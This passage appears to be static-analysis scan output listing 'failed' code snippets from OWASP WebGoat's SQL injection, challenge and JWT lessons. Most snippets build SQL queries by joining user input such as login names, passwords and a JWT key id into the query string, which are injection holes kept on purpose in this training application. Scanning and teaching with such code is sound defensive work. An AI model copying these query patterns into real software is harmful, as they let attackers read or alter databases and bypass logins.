webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 70, EndLine: 76\nCode:\ntry {\n                String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n                Statement statement = connection.createStatement();\n                ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n                if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 90, EndLine: 96\nCode:\n} catch(SQLException e) {\n                attackResult = failed().output(\"Something went wrong\").build();\n            }\n            }\n            return attackResult;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 66, EndLine: 72\nCode:\nif (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            try {\n                String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 54, EndLine: 60\nCode:\n@PostMapping(\"/challenge/5\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 55, EndLine: 61\nCode:\n@ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 57, EndLine: 63\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 60, EndLine: 66\nCode:\nif (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 64, EndLine: 70\nCode:\nreturn failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 65, EndLine: 71\nCode:\n}\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 67, EndLine: 73\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 68, EndLine: 74\nCode:\nResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 70, EndLine: 76\nCode:\nif (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 47, EndLine: 53\nCode:\nprotected AttackResult injectableQuery(String login_count, String accountName) {\n    String queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\n    try {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 48, EndLine: 54\nCode:\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\n    try {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY);\n\n      int count = 0;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 59, EndLine: 65\nCode:\n\"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }\n\n      query.setInt(1, count);\n      //String query = \"SELECT * FROM user_data WHERE Login_Count = \" + login_count + \" and userid = \" + accountName, ;\n      try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 53, EndLine: 59\nCode:\nint count = 0;\n      try {\n        count = Integer.parseInt(login_count);\n      } catch(Exception e) {\n        return trackProgress(failed().output(\"Could not parse: \" + login_count + \" to a number\" +\n                \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 55, EndLine: 61\nCode:\ntry {\n        count = Integer.parseInt(login_count);\n      } catch(Exception e) {\n        return trackProgress(failed().output(\"Could not parse: \" + login_count + \" to a number\" +\n                \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 62, EndLine: 68\nCode:\nquery.setInt(1, count);\n      //String query = \"SELECT * FROM user_data WHERE Login_Count = \" + login_count + \" and userid = \" + accountName, ;\n      try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY);\n        ResultSet results = query.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 87, EndLine: 93\nCode:\n}\n      } catch (SQLException sqle) {\n\n        return trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }\n    } catch (Exception e) {\n      return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 66, EndLine: 72\nCode:\nResultSet.CONCUR_READ_ONLY);\n        ResultSet results = query.executeQuery();\n\n        if ((results != null) && (results.first() == true)) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();\n          StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 81, EndLine: 87\nCode:\n}\n\n        } else {\n          return trackProgress(failed().feedback(\"sql-injection.5b.no.results\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).build());\n\n//                    output.append(getLabelManager().get(\"NoResultsMatched\"));\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 74, EndLine: 80\nCode:\nresults.last();\n\n          // If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 75, EndLine: 81\nCode:\n// If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n          }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 77, EndLine: 83\nCode:\nif (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n          }\n\n        } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 53, EndLine: 59\nCode:\nString password = \"dave\";\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = \"SELECT password FROM user_system_data WHERE user_name = 'dave'\";\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 57, EndLine: 63\nCode:\nString query = \"SELECT password FROM user_system_data WHERE user_name = 'dave'\";\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 64, EndLine: 70\nCode:\nif ((results != null) && (results.first() == true)) {\n                    password = results.getString(\"password\");\n                }\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                // do nothing\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 68, EndLine: 74\nCode:\nsqle.printStackTrace();\n                // do nothing\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            // do nothing\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 46, EndLine: 52\nCode:\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 49, EndLine: 55\nCode:\nConnection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 65, EndLine: 71\nCode:\n}\n                }\n            } catch (SQLException e) {\n                if (tableExists(connection)) {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 66, EndLine: 72\nCode:\n}\n            } catch (SQLException e) {\n                if (tableExists(connection)) {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {\n                    return trackProgress(success().feedback(\"sql-injection.10.success\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 69, EndLine: 75\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span><br>\" + output.toString()).build());\n                }\n                else {\n                    return trackProgress(success().feedback(\"sql-injection.10.success\").build());\n                }\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 93, EndLine: 99\nCode:\npublic byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n                        final String kid = (String) header.get(\"kid\");\n                        try {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 94, EndLine: 100\nCode:\nfinal String kid = (String) header.get(\"kid\");\n                        try {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 95, EndLine: 101\nCode:\ntry {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 96, EndLine: 102\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {\n                            errorMessage[0] = e.getMessage();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 98, EndLine: 104\nCode:\nwhile (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }\n                        } catch (SQLException e) {\n                            errorMessage[0] = e.getMessage();\n                        }\n                        return null;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 44, EndLine: 50\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 48, EndLine: 54\nCode:\nString query = _query;\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(_query);\n                StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 65, EndLine: 71\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 55, EndLine: 61\nCode:\nresults.first();\n\n                if (results.getString(\"department\").equals(\"Marketing\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 58, EndLine: 64\nCode:\nif (results.getString(\"department\").equals(\"Marketing\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 60, EndLine: 66\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(success().feedback(\"sql-injection.2.success\").output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 58, EndLine: 64\nCode:\ncheckDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 61, EndLine: 67\nCode:\nreturn failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 50, EndLine: 56\nCode:\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 53, EndLine: 59\nCode:\nConnection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                log(connection, query);\n                ResultSet results = statement.executeQuery(query);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 55, EndLine: 61\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 78, EndLine: 84\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").build());\n                }\n            } catch (SQLException e) {\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n        } catch (Exception e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 57, EndLine: 63\nCode:\nlog(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(generateTable(results));\n                        results.last();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 75, EndLine: 81\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").build());\n                }\n            } catch (SQLException e) {\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 58, EndLine: 64\nCode:\nResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(generateTable(results));\n                        results.last();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 72, EndLine: 78\nCode:\n} else {\n                        // no results\n                        return trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n                } else {\n                    return trackProgress(failed().feedback(\"sql-injection.error\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 62, EndLine: 68\nCode:\noutput.append(generateTable(results));\n                        results.last();\n\n                        if (results.getRow() > 1) {\n                            // more than one record, the user succeeded\n                            return trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 64, EndLine: 70\nCode:\nif (results.getRow() > 1) {\n                            // more than one record, the user succeeded\n                            return trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {\n                            // only one record\n                            return trackProgress(failed().feedback(\"sql-injection.8.one\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 67, EndLine: 73\nCode:\nreturn trackProgress(success().feedback(\"sql-injection.8.success\").output(output.toString()).build());\n                        } else {\n                            // only one record\n                            return trackProgress(failed().feedback(\"sql-injection.8.one\").output(output.toString()).build());\n                        }\n\n                    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 42, EndLine: 48\nCode:\n@PostMapping(\"/SqlInjectionAdvanced/challenge_Login\")\n  @ResponseBody\n  public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    Connection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 43, EndLine: 49\nCode:\n@ResponseBody\n  public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    Connection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, 